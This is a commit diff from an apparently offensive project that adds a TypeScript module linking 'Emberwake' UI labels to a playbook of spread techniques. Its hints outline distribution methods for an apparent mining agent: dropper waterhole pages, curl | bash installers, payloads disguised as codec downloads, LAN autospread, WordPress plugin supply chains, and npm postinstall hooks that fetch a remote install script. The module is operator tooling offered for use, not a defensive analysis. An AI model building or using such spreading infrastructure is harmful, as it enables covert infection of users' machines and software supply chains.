feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -0,0 +1,61 @@
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
export interface EmberwakeTechniqueLink {
/** Short label shown in Emberwake UI */
label: string;
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
anchor: string;
/** One-line operator hint */
hint: string;
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
wiki?: boolean;
}
/** Maps Emberwake “how to spread” bullets to playbook sections. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'Web waterhole',
anchor: 'owned-site-you-control-origin',
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
},
{
label: 'curl | bash VPS',
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
hint: 'install.sh / install.ps1 one-liners on headless servers',
},
{
label: 'Fusion media',
anchor: 'owned-site-you-control-origin',
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
},
{
label: 'LAN kindling',
anchor: 'five-recommended-plays--sites-you-own',
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
},
{
label: 'A/B droppers',
anchor: 'social-engineering-funnel-email--ads--site--file',
hint: 'Campaign ?c= tags + pin build A vs B between waves',
},
{
label: 'WordPress plugin',
anchor: 'wordpress-plugin-supply-chain',
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
wiki: true,
},
{
label: 'npm postinstall',
anchor: 'npm-postinstall-helper',
hint: 'Private package template — postinstall curls your install.sh',
wiki: true,
},
];
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
if (wiki && anchor) return `/docs/#${anchor}`;
if (!anchor) return SPREAD_TECHNIQUES_DOC;
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
}